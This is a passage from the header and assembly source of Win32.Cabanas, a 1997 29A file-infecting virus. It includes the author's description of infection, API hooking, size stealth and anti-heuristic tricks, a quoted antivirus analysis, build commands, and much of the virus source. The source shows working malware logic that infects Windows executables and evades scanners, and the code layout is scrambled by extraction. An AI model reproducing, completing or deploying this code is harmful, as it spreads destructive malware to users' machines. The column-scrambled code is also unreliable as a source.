getting it from the ForwarderChain field in the KERNEL32 import. Actually this will not work under Windows NT, but on Win95 only. When the virus has the Base Address/Module Handle of KERNEL32.DLL, it calls its own routine to get the address of GetProcAddress function. The first method is based on the search of the Import Table during infection time. The virus saves a pointer to the .idata section whenever it finds a GetProcAddress import in the host. In most cases Win32 applications import the GetProcAddress API, thus the virus should not use a secondary routine to get the same result. If the first method fails, the virus calls another function which is able to search for GetProcAddress export in KERNEL32. Such function could be called as GetProcAddress-From-ExportsTable. This function is able to search in KERNEL32's Exports Table and find the address of GetProcAddress API. This function is one of the most important ones from the virus point of view and it is compatible with all Win32 based systems. If the entry point of GetProcAddress was returned by the GetProcAddress-From-ExportsTable function, the virus saves this address and use it later on. Otherwise, the GetProcAddress-From-ExportsTable function will be used several times. This function is also saved with "Structured Exception Handling" to avoid from possible exceptions. After this, the virus gets all the API addresses it wants to use in a loop. When the addresses are available, Cabanas is ready to replicate and call its direct action infection routine.

1.2. Direct action infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The direct action infection part is surprisingly fast. Even though the virus goes through all the files in Windows directory, Windows System directory and in the current directory respectively, the file infection is fast enough to go unnoticed in much systems. This is because the virus works with "memory mapped files", a new feature implemented in Win32 based systems which simplifies file handling and increases system performance. First the virus gets the name of Windows directory, then it gets the name of Windows System directory and calls the function which searches for noninfected executable images. It searches for non directory entries and check the size of the files it found. Files with size dividable by 101 without reminder are assumed to be infected. Other files which are too huge will not be infected either. After this, the virus checks the file extension, if it matches EXE or SCR (screen saver files), the virus opens and maps the file. If the file is considered too short, the file is closed. Then it checks the`MZ' marker at the beginning of the image. Next it positions to the possible `PE' header area and checks the `PE' signature. It also checks that the executable was made to run on 386+ machines and looks for the type of

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

the file. DLL files are not infected. After this, the virus calculates a special checksum which uses the checksum field of PE files Optional Header and the file-stamp field of the Image File Header. If the file seems to be infected the virus closes the file. If not, the file is chosen for infection. Cabanas then closes the file, blanks the file attribute of the file with SetFileAttributeA API and saves the original attributes for later use. This means the virus is not stopped by the "Read Only" attribute. Then again, it opens and maps the possible host file in read/write mode. Next it searches for the GetModuleHandleA, GetModuleHandleW and GetProcAddress API imports in the host Import Table and calculates pointers to the .idata section. Then it calls the routine which patches the virus image into the file. This routine first checks that the .idata section has MEM_WRITE characteristics. If not it sets this flag on the section, but only if this section is not located in an executable area. This prevents the virus from turning on suspicious flags on the code section, triggered by some heuristic scanner. Then it goes to the entry point of the image and replaces five bytes with a FAR JMP instruction which will point to the original end of the host. After that it checks the relocation table. This is because some relocations may overwrite the FAR JMP at the entry point. If the relocation table size is not zero the virus calls a special routine to search for such relocation entries in the .reloc area. It clears the relocation type on the relocation record if it points into the FAR JMP area, thus this relocation will not take into account by the loader. The routine also marks the relocation, thus Cabanas will be able to relocate the host later on. Then it crypts all the information which has to be encrypted in the virus body. Including the table which holds the original 5 bytes from the entry point and its location. Next the virus calculates the special checksum for self checking purposes and saves this to the time stamp field of the PE header. When everything is ready, the virus calculates the full new size of the file and makes this value dividable by 101. The real virus code is around 3000 bytes only but the files will grow with more bytes, because of this. Cabanas has a very important trick here. The virus does not create a new section header to hold its code, but patches the last section header in the file (usually .reloc) to grow the section body large enough to store the virus code. This makes the infection less risky and less noticeable. Then the virus changes the SizeOfImage field in the PE header to reflect the changes made to the last section in the file, then unmaps and closes the file. Next it truncates the file at the previously calculated size and restores the original time and date stamp. Finally Cabanas resets the original attribute of the file. When all the possible files have been checked for infection, Cabanas is ready to go memory resident.

1.3. Rebuild the host, Hook API functions and Go memory resident ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The next phase is to rebuild the host program. The virus locates an internal parameter block which consists of the previously encrypted code from the host (5 bytes) and writes back the 5 original bytes at the entry point. After this, it relocates the code area if needed, by searching in the .reloc section for marked relocation entries. Next the virus hooks API functions and goes memory resident. The API hooking technique is based on the manipulation of the Import

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Table. Since the host program holds the addresses of imported functions in its .idata section, all the virus has to do is to replace those addresses to point to its own API handlers. To make those calculations easy, the virus opens and maps the infected program. Then it allocates memory for its per-process part. The virus allocates a 12232 bytes block and copies itself into this new allocated area. Then it searches for all the possible function names it wants to hook: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA, MoveFileExW, _lopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA, SetFileAttrW. Whenever it finds one of the latter APIs, it saves the original address to its own JMP table and replaces the .idata section's DWORD (which holds the original address of the API) with a pointer to its own API handlers. Finally the virus closes and unmaps the host and starts the application, by jumping into the original entry point in the code section. Some Win32 applications however may not have imports for some of these file related APIs, they can rather retrieve their addresses by using GetProcAddress and call them directly, thus the virus would be unable to hook this calls. Not so fast. The virus also hooks GetProcAddress for a special purpose. GetProcAddress is used by most applications. When the application calls GetProcAddress the virus new handler first calls the original GetProcAddress to get the address of the requested API. Then it checks if the Module Handle parameter is from KERNEL32 and if the function is one of the KERNEL32 APIs that the virus wants to hook. If so, the virus returns a new API address which will point into its NewJMPTable. Thus the application will still get an address to the virus new handler in such cases as well.

1.4. Stealth and fast infection capabilities ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Cabanas is a semi-stealth virus: during FindFirstFileA, FindFirstFileW, FindNextFileA and FindNextFileW, the virus checks for already infected programs. If the program is not infected the virus will infect it, otherwise it hides the file size difference by returning the original size for the host program. During this, the virus can see all the file names the application accesses and infects every single clean file. Since the CMD.EXE (Command Interpreter of Windows NT) is using the above APIs during a DIR command, every non infected file will be infected (if the CMD.EXE was infected previously by Win32.Cabanas). The virus will infect files during every other hooked API request as well. Apart from the encrypted API names strings, the virus also contains the following copyright message: (c) Win32.Cabanas v1.0 by jqwerty/29A.

1.5. Conclusion ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Win32.Cabanas is a very complex virus with several features new in Win32 based systems. It shows quite interesting techniques that can be used in the near future. It demonstrates that a Windows NT virus should not have any Windows 95 or Windows NT especific functionality in order to work on any Win32 system. The "per-process" residency technique also shows a portable viable solution to avoid known compatibility issues between Windows 95 and Windows NT respecting their low level resident driver implementations. Virus writers can use these techniques and their

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

knowledge they have had on Windows 95 to come to a more robust platform. So far Win32.Cabanas has made this first step. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

2. Shortcutz ÄÄÄÄÄÄÄÄÄÄÄÄ (*) http://www.dials.ccas.ru/inf/cabanas.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Win32.Cabanas: A brief description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Igor A. Daniloff Win32.Cabanas is the first known virus that infects files under Microsoft 32-bit Windows operating systems (Win32s/Windows 95/Windows NT). Not only is it capable of infecting PortableExecutable files, but also remains resident in the current session of an infected program in all these Windows systems. The viruses specifically designed for Windows 95 thus far could not properly infect files in Windows NT. Although files of Windows 95 and Windows NT have identical PE format, certain fields in their PE headers are different. Therefore, for infecting files under Windows NT, the PE header must be modified appropriately; otherwise Windows NT would display an error message in the course of loading the file. Furthermore, viruses encounter certain problems in determining the base addresses of WIN32 KERNEL API in the memory, because KERNEL32.DLL in Windows 95 and Windows NT are located at different memory addresses. But Win32.Cabanas smartly handles these problems. On starting an infected file, the virus gets control, unpacks and decrypts its table of names of WIN32 KERNEL API procedures that are needed in the sequel, and then determines the base address of KERNEL32.DLL and the addresses of all necessary WIN32 KERNEL API functions. While infecting a file, Win32.Cabanas finds the names of GetModuleHandleA, GetModuleHandleW, and GetProcAddress functions from the Import Table and stores in its code the offsets of the addresses of these procedures in the Import Table (in the segment .idata, as a rule). If the names of these procedures are not detectable, Win32.Cabanas uses a different undocumented method of finding the base address of KERNEL32 and the addresses of WIN32 KERNEL API. But there is a bug in this undocumented method; therefore the method is inoperative under Windows NT. If the addresses of GetModuleHandleA or GetModuleHandleW functions are available in the Import Table of the infected file, the virus easily determines the WIN32 KERNEL API addresses through the GetProcAddress procedure. If the addresses are not available in the Import Table, the virus craftily finds the address of GetProcAddress from the Export Table of KERNEL32. As already mentioned, this virus mechanism is not operative under Windows NT due to a bug, and, as a consequence, the normal "activity" of the virus is disabled. This is the only serious bug that prevents the proliferation of Win32.Cabanas under Windows NT. On the contrary, in Windows 95 the virus "feels completely at home" and straightforwardly (even in the absence of the addresses of GetModuleHandleA or GetModuleHandleW) determines the base address of KERNEL32.DLL and GetProcAddress via an undocumented method. Using the GetProcAddress function, Win32.Cabanas can easily get the address of any WIN32 KERNEL API procedure that it needs. This is precisely what the virus does: it gets the addresses and stores them. Then Win32.Cabanas initiates its engine for infecting EXE and SCR PE-files in \WINDOWS, \WINDOWS\SYSTEM, and the current folder. Prior to infecting a file, the virus checks for a copy of its code through certain fields in

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

the PE header and by the file size, which for an infected must be a multiple of 101. As already mentioned, the virus searches for the names of GetModuleHandleA, GetModuleHandleW or GetProcAddress in the Import Table and saves the references to their addresses. Then it appends its code at the file end in the last segment section (usually, .reloc) after modifying the characteristics and size of this section. Thereafter, the virus replaces the five initial bytes of the original entry point of the code section (usually, .text or CODE) by a command for transferring control to the virus code in the last segment section (.reloc). For this purpose, the virus examines the relocation table (.reloc) for finding some element in the region of bytes that the virus had modified. If any, the virus "disables" the reference and stores its address and value for restoring the initial bytes of the entry point at the time of transfer of control to the host program and, if necessary, for appropriately configuring the relocation. After infecting all files that yield to infection in \WINDOWS, \WINDOWS\ SYSTEM, and in the current folder, the virus plants a resident copy into the system and "intercepts" the necessary system functions. Using VirtualAlloc, the virus allots for itself 12232 bytes in the memory and plants its code there. Then it tries to "intercept" the following WIN32 KERNEL API functions: GetProcAddress, GetFileAttributesA, GetFileAttributesW, MoveFileExA, MoveFileExW, _loopen, CopyFileA, CopyFileW, OpenFile, MoveFileA, MoveFileW, CreateProcessA, CreateProcessW, CreateFileA, CreateFileW, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, FindNextFileW, SetFileAttrA, and SetFileAttrW. The virus "picks up" the addresses of these functions from the Import Table, and writes the addresses of its handlers in the Import Table. On failing to "intercept" certain necessary functions, the virus, when the host program calls for the GetProcAddress function, verifies whether this function is necessary for the host program, and returns the address of the virus procedure to host program if necessary. When a program calls for certain functions that have been "intercepted" by Win32.Cabanas, the file infection engine and/or the stealth mechanism are\is initialized. Thus, when FindFirstFileA, FindFirstFileW, and FindNextFileA or FindNextFileW functions are called, the virus may infect the file which is being searched and hide the increase in the infected file size. Win32.Cabanas cannot be regarded as a "true resident" virus, because it "intercepts" system functions and installs its copy in a specific memory area only in the current session of an infected program. But what will happen on starting, for example, an infected Norton Commander for Windows 95 or Command Interpreter for Windows NT? Or a resident program? Indeed, Win32.Cabanas will also "work hard" side by side with such a program until it is terminated. Win32.Cabanas contains an encrypted text string "(c) Win32.Cabanas v1.0 by jqwerty/29A" (c) 1997 DialogueScience, Inc., Moscow, Russia. All rights reserved. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

3. Main featurez ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ * Platformz: * Residency: * Non-Residency: * Stealth: * AntiDebuging:

WindowsNT, Windows95, Win32s, i.e. all Win32 platformz. Yes, "Per Process", workin on all Win32 systemz. Yes, direct action, infects PEz before goin resident. Yes, size stealth of inf.filez (F-Potatoe95 fooled). Yes, TD32 or any other "aplication" level debuger generates an exception when debugin an infected aplication. This obviosly doesnt aply for Soft-ICE for Windows95, a big monster.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

* AntiHeuristicz: Yes, inf.filez have no obvious symptomz of infection. Other Win95 virusez tend to "mark" the PE header so they are easily noticeable. See: Other featurez (e). * AntiAntivirus: Yes, disinfection of inf.filez is almost *imposible*. * Fast infection: Yes, filez are infected when accesed for any reason. * Polymorphism: No, the poly engine was stripped and removed on purpose. * Other featurez: (a) The EntryPoint field in the PE hdr is not modified. (b) Win32 file API functionz are hooked for infection and stealth purposez but also for platform compatibility. (c) Use of the Win32 "File-Maping" API functionz, thus implementin "Memory-Mapped Filez". No more "ReadFile", "SetFilePointer", "WriteFile"... it was about time. (d) Absolutely no use of absolute adressez in sake of compatibility with other future Win32 releasez. (e) The SHAPE AV program sucks, but sadly it was the best thing detectin PE infected filez heuristicaly. Well almost as it didnt triger a single flag on this one :) (f) Use of "Structured Exception Handling" (SEH) in those critical code fragmentz that could generate GP faultz, i.e. exceptionz are intercepted and handled properly. (g) Unicode suport. This babe really works in NT. No lie.

4. Who was Cabanas? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Gonzalo Cabanas used to be a daydream believer. We shared several thingz in comon, heard same R.E.M music style, wore the same ragged blue jeanz, and behaved like kidz everywhere we went together, putin tackz on the teacher's chair, stealin some classmate's lunch and so on. We even liked the same girlz, which explains why we sometimez ended up punchin each other's face from time to time. However, u could find us the next day, smoking around by the skoolyard as if nothin had ever hapened. We were the best friendz ever. I know this virus wont return him back to life, nor "will do him justice", however, i still wanted to somewhat dedicate this program in his honor.

5. Greetz ÄÄÄÄÄÄÄÄÄ The greetz go to: Gonzo Cabanas ......... Murkry ................ VirusBuster/29A ....... Vecna/29A ............. l- .................... Int13 ................. Peter/F-Potatoe ....... DV8 (H8), kdkd, etc ... GriYo, Sandy/29A ......

Hope to see u somewhere in time.. old pal! Whoa.. i like yer high-tech ideaz budie! U're the i-net man pal.. keep doin it! Keep up the good work budie.. see ya! Did ya ask for some kick-ass lil' creature? X-D Hey pal.. u're also a southamerican rocker! ;) Yer description rulez.. Mikko's envy shines! Hey budiez.. now where da hell are u? Thx for yer patience heh X-D

6. Disclaimer ÄÄÄÄÄÄÄÄÄÄÄÄÄ This source code is for educational purposez only. The author is not responsable for any problemz caused due to the assembly of this file.

7. Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ tasm32 -ml -m5 -q -zn cabanas.asm tlink32 -Tpe -c -x -aa cabanas,,, import32

; pewrsec cabanas.exe ; ; ; (c) 1997 Jacky Qwerty/29A.

.386p .model

flat

;generate 386+ protected mode instructionz ;no segmentz and a full 32-bit offset.. what a dream ;)

;Some includez containin very useful structurez and constantz for Win32 include include include include

Useful.inc Win32API.inc MZ.inc PE.inc

;Some equ's needed by the virus nAPIS nHANDLEZ nPATHNAMEZ extrn extrn

= = =

1*1024 2*1024 + 512 4*1024 + 512

GetModuleHandleA :proc GetProcAddress :proc

;size of jump table holdin hooked APIz ;size of Handlez table ;size of PathNamez table

;APIz used durin first generation only

.data db

?

;some dummy data so tlink32 dont yell

.code ;Virus code starts here v_start: call

get_base

code_table: dd dw db dw

12345678h 1 ? 0

;host RVA entry point ;number of bytez ;bytez to patch ;end of parameter block

code_start: ;Packed APIz needed by the virus. They will travel in packed/encrypted form ve_stringz: veszKernel32 veszGetModuleHandleA veszGetModuleHandleW

db db db

'KERNEL32',0 'GetModuleHandleA' 80h,17

eExts

db

'fxEtcR',0

veszGetProcAddress veszGetFileAttributesA veszGetFileAttributesW veszMoveFileExA veszMoveFileExW vesz_lopen veszCopyFileA veszCopyFileW

db db db db db db db db

'GetProcAddress',0 'Ge','t'+80h,'AttributesA' 80h,19 'Mov','e'+80h,'ExA' 80h,12 '_lopen',0 'Cop','y'+80h,'A' 80h,10

;list of file extensionz

veszOpenFile veszMoveFileA veszMoveFileW veszCreateProcessA veszCreateProcessW veszCreateFileA veszCreateFileW veszFindClose veszFindFirstFileA veszFindFirstFileW veszFindNextFileA veszFindNextFileW veszSetFileAttributesA veszSetFileAttributesW veszCloseHandle veszCreateFileMappingA veszMapViewOfFile veszUnmapViewOfFile veszSetFilePointer veszSetEndOfFile veszSetFileTime veszGetWindowsDirectory veszGetSystemDirectory veszGetCurrentProcess veszGetModuleFileName veszWriteProcessMemory veszWideCharToMultiByte veszVirtualAlloc

db db db db db db db db db db db db db db db db db db db db db db db db db db db db

'Ope','n'+80h,0 'Mov','e'+80h,'A' 80h,10 'CreateProcessA' 80h,15 'Creat','e'+80h,'A' 80h,12 'FindClose',0 'FindFirs','t'+80h,'A' 80h,15 'FindNex','t'+80h,'A' 80h,14 'Se','t'+80h,'AttributesA' 80h,19 'CloseHandle',0 'Creat','e'+80h,'MappingA',0 'MapViewO','f'+80h,0 'UnmapViewO','f'+80h,0 'Se','t'+80h,'Pointer',0 'SetEndO','f'+80h,0 'Se','t'+80h,'Time',0 'GetWindowsDirectoryA',0 'GetSystemDirectoryA',0 'GetCurrentProcess',0 'GetModul','e'+80h,'NameA',0 'WriteProcessMemory',0 'WideCharToMultiByte',0 'VirtualAlloc',0

eEndOfFunctionNamez

db

0

;Copyright and versionz eszCopyright

db

"(c) Win32.Cabanas v1.1 by jqwerty/29A.",0

ve_string_size

=

$ - ve_stringz

get_base: mov mov xor mov sub cld sub add push lea stosd add delta_host = stosd mov stosd

ecx,ve_string_size esi,[esp] ebx,ebx eax,esi esi,ecx

ebp_num = tmp_edi =

ddGetProcAddress + 7Fh pcode_start + 4

mov pushad xchg db

;get size of packed/encrypted stringz ;get pointer to packed/encrypted stringz

dword ptr [esp],code_table - seh_fn esi,[eax - 4] dword ptr fs:[ebx] ;set SEH frame.. ever seen FS in action? X-D edi,[esi + pCodeTable - ve_stringz] ;save pointer to code_table eax,12345678h dword ptr $ - 4 ;save actual host base adress eax,esi ;save pointer to virus start

fs:[ebx],esp eax,[ebx - 2] 2Dh

;go away lamerz and wannabeez..

seh_rs: sub pop push push

edi,tmp_edi - v_stringz ;get pointer to KERNEL32 API name eax edi ;pass the pointer twice edi

decrypt_stringz:

d_file:

d_stor: d_updt: d_loop:

lodsb rol xor jns add jnz stosb xor lodsb push xchg mov rep xchg sub pop jmp stosb xor sub stosd cmp org stosb jnz mov loop call pop jnz sub xor mov push cld

copy_K32W: lodsb stosw loop call jnz call jnz

;decrypt/unpack API namez and other stringz

al,cl al,0B5h d_stor al,-80h d_file ;expand/unpack unicode API name eax,eax esi ecx,eax esi,edx movsb ecx,eax byte ptr [edi - 2],'A'-'W' esi d_updt eax,eax eax,-'eliF'

;expand to 'File' where aplies

al,? $ - 1 d_loop edx,edi decrypt_stringz ;get next character MyGetModuleHandleA esi gotK32 ecx,ecx eax,eax cl,9 edi

;get KERNEL32 base adress (first try) ;jump if found

;make unicode string for KERNEL32

copy_K32W MyGetModuleHandleW gotK32 MyGetModuleHandleX gotK32

;get KERNEL32 base adress (second try) ;jump if found ;get KERNEL32 base adress (third try) ;jump if found

quit_app: pop ret db seh_fn: mov lea

eax

;shit.. KERNEL32 base adress not found ;try to quit aplication via an undocumented way

67h eax,[esp.EH_EstablisherFrame] esp,[eax - cPushad]

;some prefix to confuse lamerz

popad xor lea pop jmp

eax,eax ebp,[edi + ebp_num - tmp_edi] dword ptr fs:[eax] seh_rs

;remove SEH frame

gotK32: mov cmp xchg jnz lea call jecxz lea mov sub mov

[ebp + K32Mod - ebp_num],eax ;store KERNEL32 base adress dword ptr [ebp + ddGetProcAddress - ebp_num],0 ebx,eax find_APIs ;got RVA pointer to GetProcAdress API? esi,[ebp + vszGetProcAddress - ebp_num] MyGetProcAddressK32 ;no, get adress of GetProcAdress directly find_APIs eax,[ebp + ddGetProcAddress2 - ebp_num] [eax],ecx eax,[ebp + phost_hdr - ebp_num] [ebp + ddGetProcAddress - ebp_num],eax

find_APIs:

;find file related API adressez from KERNEL32..

lea lea

esi,[ebp + FunctionNamez - ebp_num] edi,[ebp + FunctionAdressez - ebp_num]

GetAPIAddress: call jecxz cld xchg stosd @endsz cmp jnz

MyGetProcAddressK32 quit_app

;get API adress

lea lea push push call call push push call call xor mov inc call

ebx,[ebp + Process_Dir - ebp_num] edi,[ebp + PathName - ebp_num] 7Fh edi [ebp + ddGetWindowsDirectoryA - ebp_num] ebx ;infect filez in WINDOWS directory 7Fh edi [ebp + ddGetSystemDirectoryA - ebp_num] ebx ;infect filez in SYSTEM directory eax,eax byte ptr [edi],'.' eax ebx ;infect filez in current directory

eax,ecx

[esi],al GetAPIAddress

;save retrieved API adress ;point to next API name ;end of API namez reached? ;no, get next API adress

build_host:

;rebuild the host..

mov mov cld lodsd add add_1st_val = xchg add push

esi,[ebp + pCodeTable - ebp_num] ;get code table of host ebx,[ebp + phost_hdr - ebp_num] ;get host base adress

get_count:

eax,0B2FD26A3h dword ptr $ - 4 edi,eax edi,ebx edi

;decrypt original entry point RVA

;save entry point for l8r retrieval

call xchg cld lodsw cwde xchg mov push push push push push push push

[ebp + ddGetCurrentProcess - ebp_num] ecx,eax

;get pseudo-handle for current process

;get number of bytes to copy ecx,eax edx,ecx ecx ;push parameterz to WriteProcessMemory API eax esp ecx esi edi eax

decrypt_hostcode: lodsb xor xor_2nd_val = rol mov loop sub old_base = add jz

;decrypt the chunk of original host code previosly encrypted..

al,06Ah byte ptr $ - 1 al,cl [esi-1],al decrypt_hostcode ecx,12345678h dword ptr $ - 4 ecx,ebx ;has host base adress been relocated? write_chunk ;no, relocation fix not necesary.. jump

;fix code pointed to by one or more nulified relocationz.. pushad lea sub add mov

jecxz mov

call fix_relocs:

;get RVA start of relocation section.. esi,[ebx.MZ_lfanew] edi,ebx esi,[esi] ecx,[esi.NT_OptionalHeader \ ;get size of relocation dir. .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_Size \ -MZ_lfanew] _popad esi,[esi.NT_OptionalHeader \ ;get RVA to relocation section .OH_DirectoryEntries \ .DE_BaseReloc \ .DD_VirtualAddress \ -MZ_lfanew] redo_reloc ;pass adress of fix_relocs label as a parameter

;process relocation block and look for nulified relocationz..

lodsw cwde dec .if jnc

;get relocation item eax sign? f_next_reloc

.endif test jnz lea cmp jnc add cmp

ah,mask RD_RelocType shr 8 f_next_reloc eax,[eax + ebx + 5] edi,eax f_next_reloc eax,-4 eax,edx

;if first item, jump to get next relocation

item ;is relocation nulified? ;no, jump to get next relocation item ;relocation item points inside chunk of code? ;no, jump to get next relocation item

jnc

f_next_reloc

;no, jump to get next relocation item

;relocation item is pointing inside chunk of code.. add delta to fix it.. pushad mov mov mov code table mov xchg sub mov xchg add mov popad clc

ebx,[esp.(4*Pshd).cPushad.Pushad_ebx] ;get actual host base adress ebp,[ebx + edi - 4] ecx,[esp.(3*Pshd).(2*cPushad).Arg3] ;get pointer to chunk of code inside ebx,[ebx + edx] ebp,[ecx - 4] ecx,edi esi,[esp.(4*Pshd).cPushad.Pushad_ecx] ;get relocation delta to add ebx,[edx + ecx] [eax + ecx],esi ;add delta.. (aack! damned relocationz..) [edx + ecx],ebx

f_next_reloc: loop ret

fix_relocs

;get next relocation item

redo_reloc: call _popad: popad

get_relocs

write_chunk: call

[ebp + ddWriteProcessMemory - ebp_num]

xchg pop cld pop jecxz

ecx,eax edx

xor lodsw jnz

edx,eax

;write chunk of code to the code

section

eax n_host

;if error, jump and try to stay resident without jumpin back

to host

n_host

;get pointer to next chunk of code to patch, if any ;if error, jump and try to stay resident without jumpin back

ecx,eax edi,ecx go_resident

;no more chunkz, jump and try to stay resident, then jump

get_count eax

;jump and patch the next chunk ;unwind return adress, an error occured, cant jump to host :(

to host cwde xchg sub jecxz back to host jmp n_host: pop go_resident: lea push push push call xchg lea

esi,[ebp + FindData - ebp_num] MAX_PATH esi ecx [ebp + ddGetModuleFileName - ebp_num] ecx,eax ebx,[ebp + jmp_addr_table - ebp_num]

jecxz call

g_host Open&MapFile

;get host filename ;get pointer to start of jump adress

table ;open host filename and memory-map it

g_host: jecxz jmp_host ;if error, jump back to host push PAGE_EXECUTE_READWRITE push MEM_COMMIT or MEM_RESERVE or MEM_TOP_DOWN push (virtual_end2 - code_start + 3) and -4 push esi ;NULL ;let OS choose memory adress call [ebp + ddVirtualAlloc - ebp_num] ;allocate enough memory for virus code and bufferz lea ecx,[ebp + FunctionNamez2 - ebp_num] ;get pointer to start of function namez to hook mov edi,non_res - code_start xchg ecx,eax ;get size of new allocated block lea esi,[ecx + PathNamez - code_start] jecxz close_jmp_host ;if error on VirtualAlloc, close file and jump to host xchg edi,ecx ;get target adress of new allocated block mov [ebp + pPathNamez - ebp_num],esi ;initialize pointer to store future pathnamez retrieved by Find(First/Next)File(A/W) mov esi,edi xchg [ebp + pcode_start - ebp_num],esi ;get source adress of virus code and store new target adress as new source adress lea edx,[edi + ecx + jmp_table_size + 1] mov [ebp + pNewAPIs - ebp_num],edx ;initialize pointer to store hooked APIs in the new jump table cld rep movsb ;copy virus code to new allocated block mov [esi],cl ;force a null to mark the end of function namez to hook pop ecx ;get start of memory-maped file inc edi ;get pointer to NewAPItable push ecx hook_api: jump table..

;hook API functionz, retrieve old API adress and build new API entry into

pushad call IGetProcAddressIT ;get RVA pointer of API function inside import table test eax,eax jz next_api_hook ;if not found, jump and get next API name add eax,[ebp + phost_hdr - ebp_num] ;convert RVA to real pointer by addin the actual host base adress mov edx,esp push eax push esp xchg esi,eax mov al,0B8h ;build "mov eax,?" instruction into jump table push 4 push edx stosb call [ebp + ddGetCurrentProcess - ebp_num] push esi push eax cld movsd ;get and copy old API adress into jump table call [ebp + ddWriteProcessMemory - ebp_num] ;set our API hook cld mov al,0E9h ;build "jmp ?" instruction to jump to new API handler pop edx pop ecx stosb movzx eax,word ptr [ebx] ;build relative offset to new API handler sub eax,edi add eax,[ebp + pcode_start - ebp_num] stosd push edi

next_api_hook: popad inc xchg @endsz inc cmp xchg jnz

ebx esi,eax ;get pointer to next API name ebx [esi],al eax,esi hook_api

;check end of API namez to hook ;jump and get next API, if there are more APIz to hook

close_jmp_host: call

Close&UnmapFile ;close and unmap host file

jmp_host: cld pop eax jmp eax while patchin the code section

;jmp to host.. or try to quit aplication if an error ocurred

NewGetProcAddr: ;new GetProcAddress API entry point.. hook wanted API functionz from KERNEL32.. call APICall@n_2 ;call old GetProcAdress API and retrieve API adress in EAX pushad mov ecx,[esp.cPushad.Arg1] ;get module handle/base adress call get_ebp ;get EBP to reference internal variablez correctly xchg ecx,eax jecxz end_getproc ;get out if retrieved API adress is zero sub eax,[ebp + K32Mod - ebp_num] ;is it KERNEL32 base adress? jnz end_getproc ;no, get out lea edx,[ebp + jmp_addr_table - 2 - ebp_num] ;yea its KERNEL32, get pointer to start of jump table lea edi,[ebp + FunctionNamez2 - 1 - ebp_num] ;get pointer to API function namez to hook cld n_gproc_next_str: namez to hook.. inc scasb jnz mov inc scasb jz dec

;search specified API function name from the list of posible API

edx ;get adress to next API function name $ - 1 esi,[esp.cPushad.Arg2] edx end_getproc edi

;get pointer to specified API function name

;if end of API namez reached, get out

n_gproc_next_chr: cmpsb jnz dec scasb jnz

n_gproc_next_str edi n_gproc_next_chr

n_gproc_apis_match: lea

;do API namez match? ;no, get next API name

;API namez match, we need to hook the API..

ebx,[ebp + NewAPItable + nAPIS - 10 - ebp_num]

;get top of jump table

mov cmp jc push sub stosb pop xchg

edi,[ebp + pNewAPIs - ebp_num] ;get current pointer to build new API entry ebx,edi ;check if jump table is full end_getproc ;get out if full edi al,-0B8h ;build "mov eax,?" instruction into jump table eax eax,[esp.Pushad_eax]

;retrieve old API adress and swap with the new API

al,0E9h

;build "jmp ?" instruction to jump to new API handler

adress stosd mov stosb movzx sub add stosd mov jump table

eax,word ptr [edx] ;build relative offset to new API handler eax,edi eax,[ebp + pcode_start - ebp_num] [ebp + pNewAPIs - ebp_num],edi

;update pointer to next API entry in the

end_getproc: popad ret

(2*Pshd)

;return to caller

jmp_addr_table: ;adress table.. contains relative offsetz to new API handlerz.. dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw dw

NewGetProcAddr NewGetFileAttrA NewGetFileAttrW NewMoveFileExA NewMoveFileExW New_lopen NewCopyFileA NewCopyFileW NewOpenFile NewMoveFileA NewMoveFileW NewCreateProcessA NewCreateProcessW NewCreateFileA NewCreateFileW NewFindCloseX NewFindFirstFileA NewFindFirstFileW NewFindNextFileA NewFindNextFileW NewSetFileAttrA NewSetFileAttrW

-

code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start code_start

-

